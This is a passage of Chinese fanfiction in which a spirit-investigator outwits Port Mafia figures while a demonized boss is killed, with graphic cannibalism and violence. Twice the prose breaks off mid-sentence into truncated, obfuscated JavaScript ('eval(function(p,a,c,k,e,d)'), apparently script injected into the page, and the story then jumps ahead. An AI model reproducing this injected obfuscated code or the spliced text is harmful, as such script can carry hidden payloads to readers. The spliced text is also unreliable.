这群人可以毫无顾及的使用超脱常世的力量,却不用为自己的与众不同付出哪怕一丁点的代价。 一但这样的力量落入野蛮人的手中…… 的场静司收回视线,进入车内。 —————— 港口黑手党boss的住所在地下室。 通往地下室的走廊内,灯光十分昏暗,几乎每一个黑暗的角落里,都有守备人员。 昏暗,地下室。 夏楠不动声色,保持着自己的面部表情。 坂口安吾并没有和他一起下来,他被留在了地上。 走廊的尽头是一扇黑漆漆的门。 进入之前,夏楠经历了一场十分严格的搜身。等到广津柳浪退下,一个人拉开厚重的房门,浓重的药物和消毒水的味道扑鼻而来,夏楠看到了森鸥外的身影。 “又见面了,夏目社长。” 广津柳浪离开的时候带走了所有的黑衣人,只有不怎么明亮的灯光照明的地下室,只剩下三个人。夏楠被夹在森鸥外与太宰治中间,板着脸,一言不发。 森鸥外并不介意夏楠的态度,他微微侧身,“请进,夏目社长,boss在等你。” 夏楠没有犹豫,越过人走了进去。 很多人都很好奇夏楠眼中的世界究竟是什么样子,不论是在以前的世界,还是在现在的世界。他们好像在好奇的同时,就已经默认了夏楠所看到的世界,与正常人不同。 奢靡,糜烂,腐烂。 床上躺着一位老人。 他看起来快死了。 室内很大,看起来空荡荡的,墙面壁纸贴金,床柱镶着宝石,墙壁的地方还弄了窗帘,不知道怎么想的,假窗? 以夏楠浅薄的风水知识储备来看,都能看出——不太好。 当然,风水这种东西,现代科技完全可以干预,而且,最主要的,永远都是人。 夏楠的视线划过黑暗的角落,没有停留。 消毒水的气味几乎要压过药剂的味道,夏楠看到欧式床柱的四周绑着白色的纸结,他对霓虹的信仰取向不甚了解,因此不是很能看懂这东西的用处。 来的时候,好像看见了一个人。 就在夏楠板着脸,脑子里在漫无边际发散的时候,森鸥外扶起了躺在床上的老人。 混浊却又充满了存在感的视线将夏楠的注意力拉了回来。 生老病死,人类这个物种诞生之初便存在的,最基本的规则。 他迎着老者那理性占比已经很低的视线,默默想道——最基本的规则,却总有人试图去挑战它。 呼吸面罩被拿开,沙哑苍老,有气无力的声音响起。 “你就是,夏目。” 夏楠没回答,他只是看着眼前这位迟暮的雄狮。能建立起庞大的港口黑手党,这样的人物,在还春秋鼎盛的时候,能想到年老的自己,有朝一日会变成现在这副模样么? “我身上,有什么。” 说起话来几个词就要顿一下。 “杀死它!” 这句杀死它,倒是中气十足。 森鸥外在一边轻声补充,“boss身上有诅咒,还请夏目先生,除掉这个诅咒。” 是在确认有诅咒的前提下发出的命令,又像是一句提示。 诅咒。 夏楠咀嚼了一下这个词,眼前的老者身上,倒是的确有诅咒,只是这个诅咒……他原地站了一会儿,忽然抬脚,往前走了一步。 只这一个动作,黑暗的角落里忽然冲出几名黑衣人,各种枪械对准了夏楠。 夏楠眨了下眼,脸色看起来更难看了,他故作瑟缩的收回脚,“……这里太暗了,我需要近距离看一看。” 森鸥外看了夏楠一会儿,他有些不确定,这位夏目社长在与他交流时表现出来的性格和行事作风,与现在的差别有点大。 老者咳嗽了两身,森鸥外回神,微微倾身。 老者抬起手,手背朝外,挥了一下。接着,对森鸥外含混的说了几句话。 “……我知道了,”森鸥外回答,紧接着,他后退两步,“夏目社长,请过来吧。” 黑衣人们悄无声息的褪去,重新隐藏在了黑暗里。 夏楠抿了抿唇,刚开始的两步还有些小心翼翼,在察觉到黑衣人不会再次出现以后,慢慢放开了些。他走到港/黑首领的身边,抬起眼,刻意避开了对方直勾勾的盯视,看向了对方的脸。 …… “我可以再凑近一点么?” 过了一会儿,夏楠小心翼翼的开口。 首领没有回答。 夏楠试探的弯腰靠近,对方也没有躲避的意思。 足够的自信,自信于能在短时间内制服自己;又足够的恐惧,恐惧到往每一个黑暗的角落都塞满了属于自己的黑衣人,恐惧到,甚至都不敢塞一个足够强的人。 他知道身边的医生是异能力者么? 大概率是不知道的。 夏楠隐藏在床边阴影里的手动了动。 他的指尖,变魔术一样的,出现了一个小小的玻璃瓶,只有半个指节那么大,也不知道这个东西是怎么瞒过搜身的人被他带进来的。 咔。 细微的,清脆的响声。 在所有人反应过来之前,修长的手指微微用力,玻璃瓶被捏碎,里面装着的那一点红色的液体,顺着夏楠的手指流了下来。玻璃的碎屑粘着血迹,簌簌落在了床边的地毯上。 夏楠满意的看着近在咫尺的脸,看着眼前港/黑首领瞬间暴起的青筋,和越过嘴唇凸起的獠牙。 稀血——一款专门针对食人鬼的诱捕器。 原本还躺在床上奄奄一息的老者忽然暴起,他猛的扑向夏楠,将人一路从床边撞到了不远处的墙上。黑衣人们重新出现,他们依旧举着武器,却犹豫着不知道该对准谁。 “boss!” 森鸥外的声音响起,很可惜,这一声呼唤并没有唤醒港/黑首领的理智,他张开嘴,满口锐利的牙咬上了被他死死按在墙上的、夏楠的肩膀,只一个瞬间,就从青年单薄的肩膀上撕下一大块肉。 太宰治寒着脸,举起了枪。 “太宰君!” 森鸥外的声音再次响起。 夏楠脸色苍白的挣扎,他发出了痛苦的哼声,但很可惜,他的力道不足以对抗港/黑首领的压制。在众目睽睽之下,港/黑首领很快咽下了第一块肉,已经开始撕扯第二块。 “啊——————!” 夏楠的手臂被连皮一块扯了下来,鲜血洒了一地。 惨叫声凄厉的响起,激起了黑衣人们一身的鸡皮疙瘩。 变故发生的太快了,谁都不知道boss为什么忽然发狂,在血腥场景的刺激下,那小小的玻璃碎裂的声音,被众人忽略了。 森鸥外对着黑衣人们开口:“快去!” 去……去什么? 有黑衣人反应过来,立刻冲向一个方向,他在墙壁上摸索片刻,一扇门打了开来。 门里,是许多被半吊在空中的人。 活人。 黑衣人上前,随便选了一个,对着人的四肢来了几枪。鲜血瞬间涌了出来,被射击的人发出哀嚎。 原本在这个时候,首领都会冲过来进食。 黑衣人熟练的躲向一边,等了一会儿,却并没有等来熟悉的场景。他回过头,发现首领已经咬上了那个探灵社社长的脖子。 年轻的男人抽搐着身体,眼睛大大的睁着,神态痛苦。 没救了。 黑衣人想道。 森鸥外的表情变的十分难看。 砰—— 是枪声。 一枚子弹击中了正在进食的首领的太阳穴。 港/黑首领饥渴吞咽的动作停了一瞬,他那已经变黑的眼白与异于常人的眼球组合出的诡异双眼转动着,看向了太宰治的方向。 砰—— 又是一声枪响。 子弹击中了港/黑首领的眼球。 太宰治面无表情的举着枪,不间断的扣动扳机,砰砰砰的声音,不过一会儿功夫,就已经清空了弹夹。他最后按了一下扳机,发现空了以后,松开手,丢掉了枪。 室内安静的可怕。 被打了一堆窟窿的港/黑首领缓缓站起了身,一颗又一颗子弹从他的身上挤出,掉落在地板上。他的嘴角和下巴还带着血,衣服上全是血迹,一双非人的眼睛,一瞬不瞬的盯着太宰的方向。 太宰治迎着对方阴寒嗜血的目光,毫无畏惧,一动不动。 森鸥外站在一边,正在权衡。 计划最关键的部分——夏目——死亡,森鸥外看向被撕扯的已经不成样子的青年无声无息的残破躯体,心中的古怪感越发浓重,却找不到来源。 港口黑手党的boss不知道从哪里弄到的‘长生不老药’,对方在他不在的时候服用了这种药,变成了现在这副模样。畏惧阳光,喜食人肉,恢复力惊人。 难杀。 除了特制武器以外,阳光是他唯一的弱点,可这里是地下室,很难引入阳光。 森鸥外要的是名正言顺的上位,和平过渡——至少是表面和平,这样可以省去许多麻烦,最大限度的保存港/黑的力量。可现在的情况,着实有些棘手。 原本想拉探灵社入局…… 他的视线在夏楠的尸/体上徘徊,内心的古怪感却怎么也无法忽略。 可人,的确已经死了。 森鸥外垂下眼。 不能再拖了,现在已经是最好的时机,首领在进食人肉以后日益强大,这样下去可不行。如果联系鬼杀队,又无疑是给了官方势力介入的借口,□□恐怕会元气大伤。 …… 目前这种情况,倒是的确,还有一个解法,一个原本他准备好的解法。 只是有些凶险。 食人鬼。 一但被激起嗜血的凶性,很难就此停止。 好在在场的,基本都已经是他的人。 “boss。” 港/黑的首领看起来似乎恢复了一些神志,至少不再像刚才那样,只是纯纯的狩猎与吞噬。他抬起一只手,指向了太宰治。 “杀了他。” 森鸥外向前几步,来到距离港/黑boss不远的地方,单膝跪地,“boss,太宰是为了帮助您恢复神志,还请您明鉴。” 首领转动眼球,不为所动,“杀了他!” 森欧外:…… “我明白了,boss。” 就在这时,太宰治动了,他一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他看向森鸥外空空如也的双手,下一秒,爆炸声响起。来自脖颈处的爆炸,声音被血肉闷在了肉里,首领的头颅被整个从脖子上炸开,只剩下一点皮连接着,要掉不掉。 穿着护士服的大姐姐已经举着针筒重新攻了上去。 森鸥外上前,手中寒光一闪,那是又一柄手术刀。 特殊矿材,完全掌握在产屋敷的手中,弄到一点用来定制手术刀,可是废了他好大的力气。 科学除鬼。 森鸥外想到这个词,笑了一声。 隐藏在刀柄里的微型炸弹,分片组装的特制刀刃,以及——紫藤花浓缩提取液。在爆炸的瞬间,特制刀刃会带着紫藤花浓缩提取液分散切过途径的一切血肉,确保充分接触和吸收。 护士服大姐姐完全压制住了首领的动作,森鸥外上前,做了最后的补刀。 一下不能完全首落,那就两下。两下不行,就三下。 首领身首异处的尸体,带着不可置信的愤怒,化作飞灰,消失了。 森鸥外完整的看完了食人鬼消失的一幕,确认了对方没有诈尸的可能,轻轻呼出一口气。 他转过身,看向旁边待命的黑衣人们。其中有几名其他干部的眼线,已经被他的拥簇制服。 “还请诸君为我作证……” 森鸥外的声音响起,“……为我作证,探灵社社长夏目楠,在发现首领已经变成怪物的秘密以后,试图消灭首领,被首领……捕捉并进食,”他看了一眼地上的尸/体,“在弥留之际,不知道他用了什么办法,和首领同归于尽。” “首领在濒死之际,委任我,为下一任首领。” 他拿出早就准备好的银之手谕。 “都记住了么?” 几名早就归顺他的黑衣人齐刷刷的单膝行礼,“谨遵命令,boss。” 手持针筒的护士服女性漂浮在森鸥外身后,为了不留下非人记录而没有安装任何监控设备的房间,尽管原本计划的将探灵社绑到自己这一方的行动受挫…… 损失惨重啊。 森鸥外内心感叹。 一个与各大官方交好,却有本事,本部在横滨的灵能力者。 可惜了。 他看向太宰治。 少年低垂着脑袋,跪坐在尸/体的旁边,不知道在想些什么。 森鸥外眼神一暗。 罢了,也不算太可惜。 接下来…… “啪——啪——啪——” 是谁鼓掌的声音。 森鸥外神色一凛,内心深处的违和感重新冒了出来,他立刻看向了那具无声无息的尸体。 “啪——啪——啪——” 鼓掌声再次响起,不知来源,好像就在耳边,又好像离的很远。 黑衣人们的动作停住了,他们像是突然卡住了一样,一动不动。森鸥外皱起眉头,护士女士举着针筒冲了过去,武器挥舞间,是真实的击打声。 被袭击的黑衣人倒地,依旧一动不动。 太宰治牵起了嘴角,他的眼睛一瞬不瞬的盯着眼前痛苦扭曲的尸/体的脸。 “夏目。” 啪—— 最后一声,拍手的声音。 黑衣人消失了,墙壁上的打开的门消失了,地面上的尸体,也消失了。 森鸥外神情警惕,他看向了首领化作灰烬消失的地方,又看向床榻。 ——没人。 他微微松了一口气,紧接着,一个身影闯进了他的视线。 “好久不见,森先生。” 轻飘飘的语气,微微上扬的尾音。 青年坐在床尾的栏杆上,神态悠闲,身上的衣服干净整洁,肢体健全。看了一场好戏,他嘴角的笑容多了些真实,打招呼时挥动的手,也十分轻快。 半点没有被袭击过的狼狈。 “……夏目社长。” 太近了。 森鸥外微微后退半步,鞋底与地面接触的摩擦触感让他又停住了脚步。他低下头,看到了蠕动的地面。 不,那不该叫蠕动的地面。 是头发,密密麻麻的头发,它们占据了地面的每一处角落,纠缠着划过鞋底,带来奇怪的触感。 ……什么时候? 森鸥外不动了,他的视线四下扫视,终于,停在了之前为了旁听探灵社内情况而架设的设备上——头发正源源不断的从音箱内冒出来。他听见了摩擦的声音,不明显,可一但注意到,那些声音,就仿佛有生命一样,逐渐挤占了所有的感官。 明明之前,根本不存在这种声音。 ——不妙啊。 森鸥外努力回神,不去在意那些蠕动的头发,他将视线锁定在了夏楠身上。 “夏目社长,好手段。” 29.二十九 头发是阵地成型的前置条件? 不……不对。 阵地,是那些人的说法,用夏目的理论体系来思考的话——干涉。 森鸥外的脑子飞快的转动。 ——他借用了头发的特性,准确来说,借用了探灵社内灵异存在的特性。 夏目和他所了解的其他所谓的灵能力者都不同,包括那个看似使用同样调查手法的、涉谷心灵现象调查事务所的戴维斯。夏目的方法,更接近现代人的思考模式、行为模式。他有一套属于自己的逻辑,或者说,很有可能,他已经做到了对‘那个世界’的完全解明。 完全解明,便如掌中之物,随意揉捏。 十分难得的人才。 想要将对方拉入自己的阵营,可惜,利用信息差的示好和‘人情给予’已经不可能了,自己的目的在刚才也基本全部暴露。 接下来,又该怎么做? 森鸥外对本国神秘侧的了解多来源于古籍、灵能力者的叙述,以及和那个世界的人的交往过程。夏楠所带来的全新的理论体系,他还没有完整的接触过,仅仅从视频中透露出的那一点点来看,不得不说,十分的对胃口。 人并没有真的儿戏般死去,被对方利用对神秘测了解匮乏这一信息量差距摆了一道的森鸥外,在懊恼之余,生出了一些见猎心喜的情绪。 果然还是很可惜。 内心再次感慨,森鸥外十分迅速的分析出了目前局势的平衡点——利益交换。 夏楠没有进一步的动作,一定程度上意味着,双方存在利益交换的可能性。 森鸥外很快稳了下来。 是他大意,错估了夏目对‘灵异’的掌控能力,更错估了对方的大脑。想来也是,能做到对神秘测进行‘解明’的人,怎么可能不通事故、无力于计算。 好在,事情还有转圜的余地。 并不是一颗还需打磨的原石,眼前的青年,早已成长为一枚璀璨的珍宝。 森鸥外内心哂笑——自己也有被表象蒙蔽的一天。 心中百转,现实不过几息。 “夏目社长,好手段。” “远不及您。” 夏楠轻快的说道,轻盈的从倚坐的栏杆上下来。森鸥外敏锐的注意到,地面上蠕动纠缠的头发,在青年即将触碰的瞬间四散。夏楠站立的一小块地方,露出了真正的地面。 干涉。 他在心底重复。 森鸥外环视一周,没有找到原本该存在的黑衣人身影,也没有找到一点点可能与首领有关的信息,他重新看向夏楠,“不知夏目社长,可否为在下解惑?” “不可。” 夏楠的语气依旧轻快,他站在原地,微微歪着头,显露出一些孩子气。 森鸥外于是配合气氛,做作的叹了口气,仿佛一个心力交猝的家长,“那么,夏目社长,你要怎样才肯为在下解惑呢?” 夏楠的嘴角忽然耷拉下去,他脸上轻快的笑容不见了,整个人在一瞬间,显露出极致的冷漠,“那是你该考虑的事,森先生。” “考虑自己,该给出什么样的价码……” 青年身上的那轻快的氛围瞬间消失不见,取而代之的,是若有若无的压迫感。 “……该给出什么样的价码,才能实现——自救。” 阴晴不定,孩子气。 与情报当中说的一致。 就是不知道这样的表象下,有多少是真,又有多少是假。 原本以为从榎田处买来的有关于夏目的情报或多或少会有些水分,会参杂许多夸大与隐瞒。没想到,至少在性格的部分,居然都是干货。 “在下总得有个底,不知道夏目社长,想要什么类型的价码?” “怎么,森先生的脑子也被你们首领啃了?”夏楠冷着脸,“思考,先生,就算脑子被啃了,也请你思考。” 森鸥外:…… 见多了寻常的谈判流程,对这种耍脾气模式,他还有点不适应。 噗—— 太宰治忽然笑了,他走到一边,与两人呈三角站位的地方,弯着眼睛看向夏楠,开口却是对着别人,“森先生,夏目可是很记仇的。” 森鸥外很快下坡,“是我的疏忽。” 他思考片刻,忽然看了一眼太宰治,“阁下……想要太宰?” 夏楠正在无聊的拨拉自己的系统,模拟经营界面里的像素探灵社内,代表井下朋花和那个小岛的小人正安静的待在一楼,雇员栏里,织田作之助和太宰治的头像后面跟着信号丢失的字样,吉川惠子的头像后面则是请假中。 原来旷工就是信号丢失。 拟订雇员里,千寻的头像后面是远程办公,坂口安吾则是断联。 谁是二五仔真的十分明显。 “阿治是我的,”夏楠凉凉的看着他,脸上全是理所当然,“森先生,你拿我的人,和我谈条件?” 听到这样的话,作为被安排的当事人,太宰治只是安静的站着,没有任何表态的意图。 森鸥外:…… 他微微眯眼,“太宰君有自己的选择。” “他的选择只能是我。” “阁下未免过于霸道。” “远不及您,”夏楠说道,“森先生,”他抬起手,手指点了点门的方向,“你的时间不多了。” 在港口黑手党的地盘,目前的森鸥外还做不到完全的只手遮天。尽管他以首领如今食人鬼形态的不可控为心理突破点,成功争取到了大多数驻守在地下室的首领直属守备部队成员的支持,但在外部,特别是几个干部和游击小队的成员之间,他还远称不上有什么影响力。 现在的时间点……来汇报每日情况的干部马上就要到了。 连这个都知道么…… 森鸥外看着夏楠,心里的危机感陡升。 榎田。 探灵社倒是人才济济…… 只是提醒对方外面随时有可能来人的夏楠并不知道自己又‘被全知’了,他原地继续戳自己那没什么用几乎就是个摆设的系统,给森鸥外留了充足的思考时间。 对方到底想要什么? 森鸥外试探着开口,“或许探灵社会对与港口黑手党之间的互不侵犯协议感兴趣?” 夏楠:…… 很黑/手党的思考方式。 看来是已经把探灵社作为假想敌预设过了。 “不够。”夏楠说道。 森欧外观察着夏楠的表情,没什么收获——青年对自己的微表情控制可谓是炉火纯青。 他想起了之前夏楠说的一百亿。 森鸥外再次试探的开口,“近半年来,港口黑手党的财政情况实在捉襟见肘,只是……如果探灵社有长期与港/黑合作的意图……” “在探灵社工作范围内的合作。”夏楠补充。 原来如此。 化干戈为玉帛,建立长期合作互惠关系,的确是上选。如果是他,站在探灵社的角度,同样不会想与一个地下世界的庞然大物交恶。 森鸥外继续说道,“如果探灵社有长期与港/黑就探灵社工作范围内事项的合作意图,本人可以暂时代为应承。” 夏楠似笑非笑的看着森鸥外,“暂时?” 森鸥外也带起一抹笑,“想必阁下也看到了……在下目前说的不算啊……” 两人对视,一个成竹在胸,一个微微挑眉。 过了一会儿,挑眉的那个忽然笑了,“森先生,你,”夏楠竖起一根手指,“换互不侵犯协议,”他竖起另一根手指,“帮你上位,换长期合作协议,”两根手指晃了晃,“你的命,再加上□□未来首领的位置……区区两个协议,阁下不觉得,太便宜了么?” 空无一人的床头,联络装置上亮起了红灯。 ——有人来了。 夏楠好整以暇的站在原地,“森先生不如再想想,还能再加点什么筹码。” 森鸥外看着夏楠,眼神略带了些锋芒,“事已至此,夏目社长不防直说。” “独家,”夏楠说道,“森先生,你所率领的港口黑手党今后需要处理的所有……嗯……灵异事件,探灵社要优先选择权,且一切收费,市场价的两倍,”他笑眯眯的说道,“我说的独家的意思是,探灵社感兴趣的事件,委托费自然归探灵社所有,探灵社不感兴趣的事件,您可以委托他人,但委托费的三成,依旧归探灵社所有。” “至于互不侵犯协议,是不论任何时候、不论任何理由、不论任何形式,港口黑手党与探灵社之间,互不侵犯,除非……”夏楠看着森鸥外的眼睛,“……除非,一方的行为,触及到了另一方的底线。” 森鸥外没有说话。 他在权衡利弊。 夏楠的能力的确棘手,但就目前所观察了解到的情况来推断,他的能力也有很大的限制。难就难在森鸥外自身对那个世界的了解并不深入,这个互不侵犯协议,对己方倒是也有好处。 至于所谓的‘独家代理’,出让一点点利益,也不是无法接受。 夏楠伸出了手,掌心朝上。 红灯再次亮起。 森鸥外开口,“不知道阁下的底线是?” 夏楠笑眯眯的说,“嗯……大概是……”他的脸色再次沉了下来,只一瞬,语气平铺直叙,却带着直白的警告意味,“……大概是——别来烦我。” 这句话一说完,明媚的笑重新回归,“森先生的呢?” “不能阻碍港口黑手党的正常发展。” “唔,”夏楠随意发了个音阶表示知道,他将手往上抬了抬,“那么,合作愉快,森欧外先生。” 森鸥外看了眼夏楠的手,停顿片刻,抬手握了上去,“合作愉快,夏目社长。” ——契约成立。 夏楠笑眯眯的收回手。 他后退两步,抬起胳膊,指尖微动,打了个响指。 啪—— 森鸥外只觉得眼前一花,下一秒,眼前的一切已经不同。他正站在首领的床边,而本该已经被他首落的首领,却安静的躺在床上,一动不动。 满地的头发不见踪影,黑衣人们隐藏在黑暗里,仿佛从未消失过,太宰站在不远处的角落,正看着这边。密室的大门依旧是闭合的,一切的一切,仿佛都回归到了首领突然暴起的前一刻。 森鸥外看向床边的夏楠,对方的手正轻轻搭在首领的肩头,注意到他的目光,还掀起眼皮,冲他眨了眨眼。 他再去看床上的首领——眼睛变色,尖锐的牙撑开了嘴唇,脖颈处的青筋暴起,明显已经进入了捕食状态。 进入了捕食状态,却一动不动。 干涉。 这也是干涉能做到的? 森鸥外内心对夏楠的警惕等级再次拉高。 红灯第三次亮起。 森鸥外垂下眼,他看到了夏楠递过来的一小瓶红色液体,也看到了对方捏着小瓶的手上沾染着的、新鲜的血液。一瞬间,他明白了首领为何会突然发狂。 森鸥外不动声色的接过小玻璃瓶,并立刻调整了自己的计划。 他装模作样的凑近只有眼珠能转动的首领身边,过了一会儿,直起身。 森欧外走到房门前。 森欧外打开了房门。 门外是那名身材魁梧的中年人,他刚刚将的场静司送去了港/黑旗下的宾馆,此刻才匆匆赶回来。 身材魁梧的中年人冷冷的瞥了一眼开门的森鸥外,并没有招呼的打算,他直接越过人,走进了室内。 “boss,我已经将人送过去了。” 昏暗的光线下,魁梧中年人并没有第一时间发现首领的异常,他看到了站在床边的夏楠,并不以为意。或者,他只是想要先向首领汇报,之后再发难。 可惜,他已经没有发难的机会了。 森鸥外走到魁梧男人不远处,他是医生,手指的灵活度远非常人能够比拟。红色小玻璃瓶被他丢向魁梧男人的方向,对方反应非常快,立刻闪身避开。 要的就是你闪身避开。 一柄失而复得的手术刀紧接着飞了过去。 正中红心。 小玻璃瓶内的血液洒了出来,魁梧男人一时无法分辨那究竟是什么,后退的同时抬手护住头脸,衣袖上却依旧无可避免的,沾上了星星点点的血迹。 “森医生!”魁梧男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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早已与森鸥外统一战线的那一部分黑衣人终于反应过来,他们调转枪口,对准了身边几秒前还是同僚的家伙。枪火宣泄的声音瞬间响起,而另一边,##干部已经被逼的不得不使用异能力。 “他经常进食?” 夏楠走了过来。 “是,一日三餐。”森鸥外的声音里带了点嘲讽,“只吃曾经经历过灵异事件的人。” 夏楠挑了下眉,这倒是题外的信息了。 他没做评价,也没有多问,只是说,“他很快就会恢复理智。” 森鸥外看了一眼夏楠。 夏楠侧过身,对他比了个请的手势。 森鸥外低低笑了两声。 他走上前,手指间银光闪过,身侧再次出现了那位手持巨大针筒的护士女士。 这次不再是幻觉了。 认知干涉,真是麻烦的能力啊…… 幸好,这种能力的施展是有前置条件的。 护士女士举着巨大的针筒冲向了缠斗的一人一鬼。 ##干部的异能力是分解,只要是他的双手碰触的东西,能力发动,都会碎裂。为了不落下风,这位干部的异能力已经是激活状态。鬼化的港/黑首领无法再使用异能,但他的速度与力量都非常强悍,加上自身具备的上佳格斗能力,就算不能使用异能,他依然是个极其难缠的对手。 森鸥外找准机会,将手中的手术刀刺进了首领的脖颈。爆炸在几秒后发生,首领的脖颈被局部范围的爆炸炸开,头颅飞出。直面狰狞头颅来袭的##干部下意识伸手格挡,被守在一边的森鸥外找准机会,他的异能力,那位护士大姐姐,贴心的将轨道有些偏离的头颅,送到了##干部的手心。 砰。 最先一批赶到的人,有幸直面了##干部勇炸首领脑袋的血腥场景。 夏楠和太宰治十分默契的相继退到了安全的、不会被战斗波及的角落。只是没了头而已,鬼不会如此轻易的消亡,但紫藤花毒可以延缓它的恢复速度,一个新生的鬼,就算吃的再多,也还远远做不到在花毒作用下秒复原——夏楠看到那位脱离战斗状态的护士小姐姐偷偷给首领还算健全的身体注射不知名液体了。 人越来越多,夏楠并不想做某人上位的见证人之一。于是,在无人注意的角落,干脆的躺倒在地毯上,秒睡。 太宰治:…… 他低低笑出了声。 —————— 横滨市立大学附属医院。 重症监护病房。 一名身穿白大褂,带着口罩和医用手套的人,走到了一名严重烧伤的患者病床前。他看了一眼病床上的患者信息,确认无误后,从口袋里掏出一个注射器。注射器内有着淡粉色的不知名液体,白大褂将液体推进了患者正在进行静脉注射的药瓶内,接着,将注射器重新收回。 做完这一切,他站在床边,等了一会儿。 心电监护仪的显示屏上,原本相较正常人而言显得有些缓慢的心跳频率随着时间流逝,慢慢加快。 白大褂伸出手,掀开了病床上被纱布几乎缠绕了全身的人眼睛旁边的纱布的一角,微微凑近,看到眼睛周围的水泡正肉眼可见的逐渐干瘪。他收回手,重新直起身,同来时一样,悄无声息的离开。 —————— 夏楠被叫醒的时候,一切已经尘埃落定,森鸥外在众人面前确立了自己的继任者身份,又有众多人作证,他的上位基本已经是板上钉钉。 至于前任首领的尸/体为什么会在太阳底下变成灰,那就是另一个故事了。 作为无辜被牵连的外人,夏楠被森鸥外指派专车,重新送回了探灵社,这位刚刚走马上任的首领还知道给压惊费,就很上道。 太宰治并没有一起跟过来,夏楠也不强求,他只带走了被关了一会儿小黑屋的坂口安吾。 刚回到屋内,等了半天的井下朋花站起来,正要说话,一边小岛田的手机忽然响了起来。 小岛田一脸懵逼的接通电话…… …… “夏……夏目社长……”小岛田死死捏着自己的手机,朝着夏楠走了两步,又茫然的停下,“山本他……” “嗯?” “山本他……恢复了。” 井下朋花看向小岛田,“他醒了?” “不,不是,”小岛田的神情有些混乱啊,“是恢复了,恢复!” “夏目社长,山本他,要求见您。” 夏楠:…… “见我?” “是,”小岛田说道,“医院说他不知道为什么完全恢复正常,还咬伤了前去换药的护士,他……他现在躲在床底下不愿意出来,谁都不见,拒绝交流,只要求见您。” 30.三十 “从一个小时前开始,就变成这样了。” 重症病房的监控屏幕内,能看到床下有什么东西,一大坨。 “他用被子把自己裹起来,就躲在床底下,之前还袭击了一位去换药的护士。” 一名警官站在夏楠身边,给夏楠简单描述目前的情况,“他要求见你。” “那位护士现在什么情况?” “护士的胳膊被他咬了一口,还好没有伤到动脉,”警官将监控视频往回拉了一段时间,“他似乎并不能控制自己,但还保持着一定的理智。你看,他伤了人以后,又把人推开了。” 屏幕内,身上缠着一大堆要掉不掉的绷带的男性一把推开了受伤的护士,看肢体动作,似乎是在冲着护士喊些什么。 夏楠注意到了山本身上那要掉不掉的绷带下面,是正常的皮肤。 “他的烧伤等级是?” “最严重的下肢区域是深Ⅱ度,全身烧伤面积在70左右,”警官看着屏幕里行动灵活的男人,“很奇怪,对吧。”一个刚刚从抢救台上下来的重度烧伤患者,短短几个小时的时间,就能恢复的如此迅速。 “都有什么人接触过他?” 警官知道夏楠是官方指定外挂,因此也没有隐瞒的意思,“一共四个人,包括受伤的护士在内,都被我们暂时控制住了。” 夏楠点了点头,他仔细看了看警官的脸。 被盯的警官:? 夏楠已经收回视线,“进去的话,需要做什么准备么?” “按理来说是需要的,”警官说道,“但是他现在的情况……”他看了一眼夏楠,以及夏楠身后跟着的三个人,其中一个还举着摄像机,默了默,“……不用什么准备,我们的人也会跟你一起进去,以防他再突然伤人。” 夏楠倒是无所谓这些,他点了点头,“走吧。” …… 夏目的心情不太好。 坂口安吾举着摄像,默默的跟在夏楠身后。 从离开港口黑手党到现在,他能明显的察觉到,夏目的心情不太好。与平时故作生气的时候表现出来的样子完全不同,夏目真正心情不好的时候,其实并不会挂脸。 看起来非常正常。 至于坂口安吾为什么知道看起来非常正常的夏目心情不太好,这个就…… emmm…… 有他一部分贡献。 ——安吾君,你把织田骗去哪里了? 这是被夏楠领出小黑屋时,坂口安吾听到的第一句来自自家社长的问候。没有嘘寒问暖,没有贴心关切。 简简单单的问句,问话的人还在笑。 那一刻,坂口安吾的心哇凉哇凉。 初次的卧底任务,从一开始就是明牌的二五仔生涯,不过短短一天多,坂口安吾已经想要撂挑子不干了。 比起有迹可循的暴露,夏目这种凑近盯你两眼就能把人看穿的技能,真的太作弊了。 上多少培训课程,过多少考核都没用的那种作弊。 唉—— 坂口安吾默默干活,努力干活,拍摄的画面中央永远有夏楠那吸睛的身影,不敢偏移哪怕一厘米的距离。 一想到昨天初至探灵社就亲眼得见的那铺天盖地的秀发套餐,他就瘆得慌——所以,将功赎过能不能补的? 什么?你问夏楠心情不好的另一部分贡献来自谁? 坂口安吾私以为是太宰治,毕竟夏目也算是亲自去接的人,却没能将人接回来。可他又觉得自己想的可能不对,毕竟夏目的心,真的难猜。 …… 所以,盯一会儿就能看穿别人的技能究竟是什么? …… 是相面,而且不是看穿,只是推断。 不仅要眼力,要只知识储备,还要脑子。 如果坂口安吾问出口,夏楠肯定会回答,但他不问,这就没办法了。 一行人很快来到目标病房的门口。 这一片区域已经被警方暂时封锁,病房门口还有全副武装的警察举着防爆盾警戒。 “安吾君和我进去,你们两个留在外面。” 夏楠简单吩咐了一下,对着门边的警官示意,对方见夏楠准备好了,在联系了监控室的同事确认门的内侧没有阻碍以后,打开了房门。 全副武装的警员原本打算先进去开路的,夏楠绕开众人,率先走了进去。明明试图拦截,对方却像是浑身长满了眼睛一样,动作自然的避开了警员们试图拦人的手。 警员们:…… 室内还没有来得及收拾,仪器倒了几台,地上还有血迹,大概是那个护士的血。 夏楠进门,先是走到窗边,在警员们疑惑的注视下拉上了窗帘——烧伤科的重症监护病房里,窗帘是遮光版——接着,他走到床边。 床下传来粗重的呼吸声,似曾相识。 “我来了。” 夏楠说道,“我是夏目,探灵社的社长。” 小岛田凑到门口紧张又焦急的探头探脑,被门口的警员无语的拉走。 在被子的阻隔下,夏楠的话音刚落,不算明显的粗重呼吸声停了一下。 “出来吧,山本,我拉上了窗帘。” 被子动了。 全副武装的警员们立刻严阵以待。 被子被掀开一个角。 一张年轻的,还算英俊的脸露了出来,脸的主人近乎急切的寻找到了夏楠的脸,在确认对方就是自己在等的人的时候,一瞬间,那双已经异化的眼睛蓄满了泪水。 哽咽的声音响起,“老大……” 跟在夏楠身边的警官:? 什么东西,谁是老大? 他迟疑的看向身边的指定外援,对方的脸上没什么外露的反应。 “出来。” 听到对方的称呼,夏楠后知后觉的想起来,这人好像是自己粉丝。 山本犹豫,他的太阳穴处,暴起的青筋十分明显,“不行,我……我想……” “吃人。” 夏楠语气平淡的接话。 吃人?! 在场诸警务人员先是一愣,随后震惊的看向那个缩在床底下的青年。 青年的脸上露出了欣悦的神色,“您果然知道!” 